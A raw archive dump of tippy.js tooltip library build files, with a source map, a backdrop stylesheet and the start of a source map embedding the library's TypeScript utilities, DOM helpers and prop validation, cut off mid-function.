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"} dist/backdrop.css 0000666 00000003424 15167156642 0010032 0 ustar 00 .tippy-box[data-placement^=top]>.tippy-backdrop{transform-origin:0 25%;border-radius:40% 40% 0 0}.tippy-box[data-placement^=top]>.tippy-backdrop[data-state=visible]{transform:scale(1) translate(-50%,-55%)}.tippy-box[data-placement^=top]>.tippy-backdrop[data-state=hidden]{transform:scale(.2) translate(-50%,-45%)}.tippy-box[data-placement^=bottom]>.tippy-backdrop{transform-origin:0 -50%;border-radius:0 0 30% 30%}.tippy-box[data-placement^=bottom]>.tippy-backdrop[data-state=visible]{transform:scale(1) translate(-50%,-45%)}.tippy-box[data-placement^=bottom]>.tippy-backdrop[data-state=hidden]{transform:scale(.2) translate(-50%)}.tippy-box[data-placement^=left]>.tippy-backdrop{transform-origin:50% 0;border-radius:50% 0 0 50%}.tippy-box[data-placement^=left]>.tippy-backdrop[data-state=visible]{transform:scale(1) translate(-50%,-50%)}.tippy-box[data-placement^=left]>.tippy-backdrop[data-state=hidden]{transform:scale(.2) translate(-75%,-50%)}.tippy-box[data-placement^=right]>.tippy-backdrop{transform-origin:-50% 0;border-radius:0 50% 50% 0}.tippy-box[data-placement^=right]>.tippy-backdrop[data-state=visible]{transform:scale(1) translate(-50%,-50%)}.tippy-box[data-placement^=right]>.tippy-backdrop[data-state=hidden]{transform:scale(.2) translate(-25%,-50%)}.tippy-box[data-animatefill]{background-color:transparent!important}.tippy-backdrop{position:absolute;background-color:#333;border-radius:50%;width:calc(110% + 32px);left:50%;top:50%;z-index:-1;transition:all cubic-bezier(.46,.1,.52,.98);-webkit-backface-visibility:hidden;backface-visibility:hidden}.tippy-backdrop[data-state=hidden]{opacity:0}.tippy-backdrop:after{content:"";float:left;padding-top:100%}.tippy-backdrop+.tippy-content{transition-property:opacity;will-change:opacity}.tippy-backdrop+.tippy-content[data-state=hidden]{opacity:0} dist/tippy.cjs.js.map 0000666 00000464516 15167156642 0010605 0 ustar 00 {"version":3,"file":"tippy.cjs.js","sources":["../src/constants.ts","../src/utils.ts","../src/dom-utils.ts","../src/bindGlobalEventListeners.ts","../src/browser.ts","../src/validation.ts","../src/props.ts","../src/template.ts","../src/createTippy.ts","../src/index.ts","../src/addons/createSingleton.ts","../src/addons/delegate.ts","../src/plugins/animateFill.ts","../src/plugins/followCursor.ts","../src/plugins/inlinePositioning.ts","../src/plugins/sticky.ts","../build/base.js"],"sourcesContent":["export const ROUND_ARROW =\n '<svg width=\"16\" height=\"6\" xmlns=\"http://www.w3.org/2000/svg\"><path d=\"M0 6s1.796-.013 4.67-3.615C5.851.9 6.93.006 8 0c1.07-.006 2.148.887 3.343 2.385C14.233 6.005 16 6 16 6H0z\"></svg>';\n\nexport const BOX_CLASS = `__NAMESPACE_PREFIX__-box`;\nexport const CONTENT_CLASS = `__NAMESPACE_PREFIX__-content`;\nexport const BACKDROP_CLASS = `__NAMESPACE_PREFIX__-backdrop`;\nexport const ARROW_CLASS = `__NAMESPACE_PREFIX__-arrow`;\nexport const SVG_ARROW_CLASS = `__NAMESPACE_PREFIX__-svg-arrow`;\n\nexport const TOUCH_OPTIONS = {passive: true, capture: true};\n\nexport const TIPPY_DEFAULT_APPEND_TO = () => document.body;\n","import {BasePlacement, Placement} from './types';\n\nexport function hasOwnProperty(\n obj: Record<string, unknown>,\n key: string\n): boolean {\n return {}.hasOwnProperty.call(obj, key);\n}\n\nexport function getValueAtIndexOrReturn<T>(\n value: T | [T | null, T | null],\n index: number,\n defaultValue: T | [T, T]\n): T {\n if (Array.isArray(value)) {\n const v = value[index];\n return v == null\n ? Array.isArray(defaultValue)\n ? defaultValue[index]\n : defaultValue\n : v;\n }\n\n return value;\n}\n\nexport function isType(value: any, type: string): boolean {\n const str = {}.toString.call(value);\n return str.indexOf('[object') === 0 && str.indexOf(`${type}]`) > -1;\n}\n\nexport function invokeWithArgsOrReturn(value: any, args: any[]): any {\n return typeof value === 'function' ? value(...args) : value;\n}\n\nexport function debounce<T>(\n fn: (arg: T) => void,\n ms: number\n): (arg: T) => void {\n // Avoid wrapping in `setTimeout` if ms is 0 anyway\n if (ms === 0) {\n return fn;\n }\n\n let timeout: any;\n\n return (arg): void => {\n clearTimeout(timeout);\n timeout = setTimeout(() => {\n fn(arg);\n }, ms);\n };\n}\n\nexport function removeProperties<T>(obj: T, keys: string[]): Partial<T> {\n const clone = {...obj};\n keys.forEach((key) => {\n delete (clone as any)[key];\n });\n return clone;\n}\n\nexport function splitBySpaces(value: string): string[] {\n return value.split(/\\s+/).filter(Boolean);\n}\n\nexport function normalizeToArray<T>(value: T | T[]): T[] {\n return ([] as T[]).concat(value);\n}\n\nexport function pushIfUnique<T>(arr: T[], value: T): void {\n if (arr.indexOf(value) === -1) {\n arr.push(value);\n }\n}\n\nexport function appendPxIfNumber(value: string | number): string {\n return typeof value === 'number' ? `${value}px` : value;\n}\n\nexport function unique<T>(arr: T[]): T[] {\n return arr.filter((item, index) => arr.indexOf(item) === index);\n}\n\nexport function getNumber(value: string | number): number {\n return typeof value === 'number' ? value : parseFloat(value);\n}\n\nexport function getBasePlacement(placement: Placement): BasePlacement {\n return placement.split('-')[0] as BasePlacement;\n}\n\nexport function arrayFrom(value: ArrayLike<any>): any[] {\n return [].slice.call(value);\n}\n\nexport function removeUndefinedProps(\n obj: Record<string, unknown>\n): Partial<Record<string, unknown>> {\n return Object.keys(obj).reduce((acc, key) => {\n if (obj[key] !== undefined) {\n (acc as any)[key] = obj[key];\n }\n\n return acc;\n }, {});\n}\n","import {ReferenceElement, Targets} from './types';\nimport {PopperTreeData} from './types-internal';\nimport {arrayFrom, isType, normalizeToArray, getBasePlacement} from './utils';\n\nexport function div(): HTMLDivElement {\n return document.createElement('div');\n}\n\nexport function isElement(value: unknown): value is Element | DocumentFragment {\n return ['Element', 'Fragment'].some((type) => isType(value, type));\n}\n\nexport function isNodeList(value: unknown): value is NodeList {\n return isType(value, 'NodeList');\n}\n\nexport function isMouseEvent(value: unknown): value is MouseEvent {\n return isType(value, 'MouseEvent');\n}\n\nexport function isReferenceElement(value: any): value is ReferenceElement {\n return !!(value && value._tippy && value._tippy.reference === value);\n}\n\nexport function getArrayOfElements(value: Targets): Element[] {\n if (isElement(value)) {\n return [value];\n }\n\n if (isNodeList(value)) {\n return arrayFrom(value);\n }\n\n if (Array.isArray(value)) {\n return value;\n }\n\n return arrayFrom(document.querySelectorAll(value));\n}\n\nexport function setTransitionDuration(\n els: (HTMLDivElement | null)[],\n value: number\n): void {\n els.forEach((el) => {\n if (el) {\n el.style.transitionDuration = `${value}ms`;\n }\n });\n}\n\nexport function setVisibilityState(\n els: (HTMLDivElement | null)[],\n state: 'visible' | 'hidden'\n): void {\n els.forEach((el) => {\n if (el) {\n el.setAttribute('data-state', state);\n }\n });\n}\n\nexport function getOwnerDocument(\n elementOrElements: Element | Element[]\n): Document {\n const [element] = normalizeToArray(elementOrElements);\n\n // Elements created via a <template> have an ownerDocument with no reference to the body\n return element?.ownerDocument?.body ? element.ownerDocument : document;\n}\n\nexport function isCursorOutsideInteractiveBorder(\n popperTreeData: PopperTreeData[],\n event: MouseEvent\n): boolean {\n const {clientX, clientY} = event;\n\n return popperTreeData.every(({popperRect, popperState, props}) => {\n const {interactiveBorder} = props;\n const basePlacement = getBasePlacement(popperState.placement);\n const offsetData = popperState.modifiersData.offset;\n\n if (!offsetData) {\n return true;\n }\n\n const topDistance = basePlacement === 'bottom' ? offsetData.top!.y : 0;\n const bottomDistance = basePlacement === 'top' ? offsetData.bottom!.y : 0;\n const leftDistance = basePlacement === 'right' ? offsetData.left!.x : 0;\n const rightDistance = basePlacement === 'left' ? offsetData.right!.x : 0;\n\n const exceedsTop =\n popperRect.top - clientY + topDistance > interactiveBorder;\n const exceedsBottom =\n clientY - popperRect.bottom - bottomDistance > interactiveBorder;\n const exceedsLeft =\n popperRect.left - clientX + leftDistance > interactiveBorder;\n const exceedsRight =\n clientX - popperRect.right - rightDistance > interactiveBorder;\n\n return exceedsTop || exceedsBottom || exceedsLeft || exceedsRight;\n });\n}\n\nexport function updateTransitionEndListener(\n box: HTMLDivElement,\n action: 'add' | 'remove',\n listener: (event: TransitionEvent) => void\n): void {\n const method = `${action}EventListener` as\n | 'addEventListener'\n | 'removeEventListener';\n\n // some browsers apparently support `transition` (unprefixed) but only fire\n // `webkitTransitionEnd`...\n ['transitionend', 'webkitTransitionEnd'].forEach((event) => {\n box[method](event, listener as EventListener);\n });\n}\n\n/**\n * Compared to xxx.contains, this function works for dom structures with shadow\n * dom\n */\nexport function actualContains(parent: Element, child: Element): boolean {\n let target = child;\n while (target) {\n if (parent.contains(target)) {\n return true;\n }\n target = (target.getRootNode?.() as any)?.host;\n }\n return false;\n}\n","import {TOUCH_OPTIONS} from './constants';\nimport {isReferenceElement} from './dom-utils';\n\nexport const currentInput = {isTouch: false};\nlet lastMouseMoveTime = 0;\n\n/**\n * When a `touchstart` event is fired, it's assumed the user is using touch\n * input. We'll bind a `mousemove` event listener to listen for mouse input in\n * the future. This way, the `isTouch` property is fully dynamic and will handle\n * hybrid devices that use a mix of touch + mouse input.\n */\nexport function onDocumentTouchStart(): void {\n if (currentInput.isTouch) {\n return;\n }\n\n currentInput.isTouch = true;\n\n if (window.performance) {\n document.addEventListener('mousemove', onDocumentMouseMove);\n }\n}\n\n/**\n * When two `mousemove` event are fired consecutively within 20ms, it's assumed\n * the user is using mouse input again. `mousemove` can fire on touch devices as\n * well, but very rarely that quickly.\n */\nexport function onDocumentMouseMove(): void {\n const now = performance.now();\n\n if (now - lastMouseMoveTime < 20) {\n currentInput.isTouch = false;\n\n document.removeEventListener('mousemove', onDocumentMouseMove);\n }\n\n lastMouseMoveTime = now;\n}\n\n/**\n * When an element is in focus and has a tippy, leaving the tab/window and\n * returning causes it to show again. For mouse users this is unexpected, but\n * for keyboard use it makes sense.\n * TODO: find a better technique to solve this problem\n */\nexport function onWindowBlur(): void {\n const activeElement = document.activeElement as HTMLElement | null;\n\n if (isReferenceElement(activeElement)) {\n const instance = activeElement._tippy!;\n\n if (activeElement.blur && !instance.state.isVisible) {\n activeElement.blur();\n }\n }\n}\n\nexport default function bindGlobalEventListeners(): void {\n document.addEventListener('touchstart', onDocumentTouchStart, TOUCH_OPTIONS);\n window.addEventListener('blur', onWindowBlur);\n}\n","export const isBrowser =\n typeof window !== 'undefined' && typeof document !== 'undefined';\n\nexport const isIE11 = isBrowser\n ? // @ts-ignore\n !!window.msCrypto\n : false;\n","import {Targets} from './types';\n\nexport function createMemoryLeakWarning(method: string): string {\n const txt = method === 'destroy' ? 'n already-' : ' ';\n\n return [\n `${method}() was called on a${txt}destroyed instance. This is a no-op but`,\n 'indicates a potential memory leak.',\n ].join(' ');\n}\n\nexport function clean(value: string): string {\n const spacesAndTabs = /[ \\t]{2,}/g;\n const lineStartWithSpaces = /^[ \\t]*/gm;\n\n return value\n .replace(spacesAndTabs, ' ')\n .replace(lineStartWithSpaces, '')\n .trim();\n}\n\nfunction getDevMessage(message: string): string {\n return clean(`\n %ctippy.js\n\n %c${clean(message)}\n\n %c👷 This is a development-only message. It will be removed in production.\n `);\n}\n\nexport function getFormattedMessage(message: string): string[] {\n return [\n getDevMessage(message),\n // title\n 'color: #00C584; font-size: 1.3em; font-weight: bold;',\n // message\n 'line-height: 1.5',\n // footer\n 'color: #a6a095;',\n ];\n}\n\n// Assume warnings and errors never have the same message\nlet visitedMessages: Set<string>;\nif (__DEV__) {\n resetVisitedMessages();\n}\n\nexport function resetVisitedMessages(): void {\n visitedMessages = new Set();\n}\n\nexport function warnWhen(condition: boolean, message: string): void {\n if (condition && !visitedMessages.has(message)) {\n visitedMessages.add(message);\n console.warn(...getFormattedMessage(message));\n }\n}\n\nexport function errorWhen(condition: boolean, message: string): void {\n if (condition && !visitedMessages.has(message)) {\n visitedMessages.add(message);\n console.error(...getFormattedMessage(message));\n }\n}\n\nexport function validateTargets(targets: Targets): void {\n const didPassFalsyValue = !targets;\n const didPassPlainObject =\n Object.prototype.toString.call(targets) === '[object Object]' &&\n !(targets as any).addEventListener;\n\n errorWhen(\n didPassFalsyValue,\n [\n 'tippy() was passed',\n '`' + String(targets) + '`',\n 'as its targets (first) argument. Valid types are: String, Element,',\n 'Element[], or NodeList.',\n ].join(' ')\n );\n\n errorWhen(\n didPassPlainObject,\n [\n 'tippy() was passed a plain object which is not supported as an argument',\n 'for virtual positioning. Use props.getReferenceClientRect instead.',\n ].join(' ')\n );\n}\n","import {DefaultProps, Plugin, Props, ReferenceElement, Tippy} from './types';\nimport {\n hasOwnProperty,\n removeProperties,\n invokeWithArgsOrReturn,\n} from './utils';\nimport {warnWhen} from './validation';\nimport {TIPPY_DEFAULT_APPEND_TO} from './constants';\n\nconst pluginProps = {\n animateFill: false,\n followCursor: false,\n inlinePositioning: false,\n sticky: false,\n};\n\nconst renderProps = {\n allowHTML: false,\n animation: 'fade',\n arrow: true,\n content: '',\n inertia: false,\n maxWidth: 350,\n role: 'tooltip',\n theme: '',\n zIndex: 9999,\n};\n\nexport const defaultProps: DefaultProps = {\n appendTo: TIPPY_DEFAULT_APPEND_TO,\n aria: {\n content: 'auto',\n expanded: 'auto',\n },\n delay: 0,\n duration: [300, 250],\n getReferenceClientRect: null,\n hideOnClick: true,\n ignoreAttributes: false,\n interactive: false,\n interactiveBorder: 2,\n interactiveDebounce: 0,\n moveTransition: '',\n offset: [0, 10],\n onAfterUpdate() {},\n onBeforeUpdate() {},\n onCreate() {},\n onDestroy() {},\n onHidden() {},\n onHide() {},\n onMount() {},\n onShow() {},\n onShown() {},\n onTrigger() {},\n onUntrigger() {},\n onClickOutside() {},\n placement: 'top',\n plugins: [],\n popperOptions: {},\n render: null,\n showOnCreate: false,\n touch: true,\n trigger: 'mouseenter focus',\n triggerTarget: null,\n ...pluginProps,\n ...renderProps,\n};\n\nconst defaultKeys = Object.keys(defaultProps);\n\nexport const setDefaultProps: Tippy['setDefaultProps'] = (partialProps) => {\n /* istanbul ignore else */\n if (__DEV__) {\n validateProps(partialProps, []);\n }\n\n const keys = Object.keys(partialProps) as Array<keyof DefaultProps>;\n keys.forEach((key) => {\n (defaultProps as any)[key] = partialProps[key];\n });\n};\n\nexport function getExtendedPassedProps(\n passedProps: Partial<Props> & Record<string, unknown>\n): Partial<Props> {\n const plugins = passedProps.plugins || [];\n const pluginProps = plugins.reduce<Record<string, unknown>>((acc, plugin) => {\n const {name, defaultValue} = plugin;\n\n if (name) {\n acc[name] =\n passedProps[name] !== undefined\n ? passedProps[name]\n : (defaultProps as any)[name] ?? defaultValue;\n }\n\n return acc;\n }, {});\n\n return {\n ...passedProps,\n ...pluginProps,\n };\n}\n\nexport function getDataAttributeProps(\n reference: ReferenceElement,\n plugins: Plugin[]\n): Record<string, unknown> {\n const propKeys = plugins\n ? Object.keys(getExtendedPassedProps({...defaultProps, plugins}))\n : defaultKeys;\n\n const props = propKeys.reduce(\n (acc: Partial<Props> & Record<string, unknown>, key) => {\n const valueAsString = (\n reference.getAttribute(`data-tippy-${key}`) || ''\n ).trim();\n\n if (!valueAsString) {\n return acc;\n }\n\n if (key === 'content') {\n acc[key] = valueAsString;\n } else {\n try {\n acc[key] = JSON.parse(valueAsString);\n } catch (e) {\n acc[key] = valueAsString;\n }\n }\n\n return acc;\n },\n {}\n );\n\n return props;\n}\n\nexport function evaluateProps(\n reference: ReferenceElement,\n props: Props\n): Props {\n const out = {\n ...props,\n content: invokeWithArgsOrReturn(props.content, [reference]),\n ...(props.ignoreAttributes\n ? {}\n : getDataAttributeProps(reference, props.plugins)),\n };\n\n out.aria = {\n ...defaultProps.aria,\n ...out.aria,\n };\n\n out.aria = {\n expanded:\n out.aria.expanded === 'auto' ? props.interactive : out.aria.expanded,\n content:\n out.aria.content === 'auto'\n ? props.interactive\n ? null\n : 'describedby'\n : out.aria.content,\n };\n\n return out;\n}\n\nexport function validateProps(\n partialProps: Partial<Props> = {},\n plugins: Plugin[] = []\n): void {\n const keys = Object.keys(partialProps) as Array<keyof Props>;\n keys.forEach((prop) => {\n const nonPluginProps = removeProperties(\n defaultProps,\n Object.keys(pluginProps)\n );\n\n let didPassUnknownProp = !hasOwnProperty(nonPluginProps, prop);\n\n // Check if the prop exists in `plugins`\n if (didPassUnknownProp) {\n didPassUnknownProp =\n plugins.filter((plugin) => plugin.name === prop).length === 0;\n }\n\n warnWhen(\n didPassUnknownProp,\n [\n `\\`${prop}\\``,\n \"is not a valid prop. You may have spelled it incorrectly, or if it's\",\n 'a plugin, forgot to pass it in an array as props.plugins.',\n '\\n\\n',\n 'All props: https://atomiks.github.io/tippyjs/v6/all-props/\\n',\n 'Plugins: https://atomiks.github.io/tippyjs/v6/plugins/',\n ].join(' ')\n );\n });\n}\n","import {\n ARROW_CLASS,\n BACKDROP_CLASS,\n BOX_CLASS,\n CONTENT_CLASS,\n SVG_ARROW_CLASS,\n} from './constants';\nimport {div, isElement} from './dom-utils';\nimport {Instance, PopperElement, Props} from './types';\nimport {PopperChildren} from './types-internal';\nimport {arrayFrom} from './utils';\n\n// Firefox extensions don't allow .innerHTML = \"...\" property. This tricks it.\nconst innerHTML = (): 'innerHTML' => 'innerHTML';\n\nfunction dangerouslySetInnerHTML(element: Element, html: string): void {\n element[innerHTML()] = html;\n}\n\nfunction createArrowElement(value: Props['arrow']): HTMLDivElement {\n const arrow = div();\n\n if (value === true) {\n arrow.className = ARROW_CLASS;\n } else {\n arrow.className = SVG_ARROW_CLASS;\n\n if (isElement(value)) {\n arrow.appendChild(value);\n } else {\n dangerouslySetInnerHTML(arrow, value as string);\n }\n }\n\n return arrow;\n}\n\nexport function 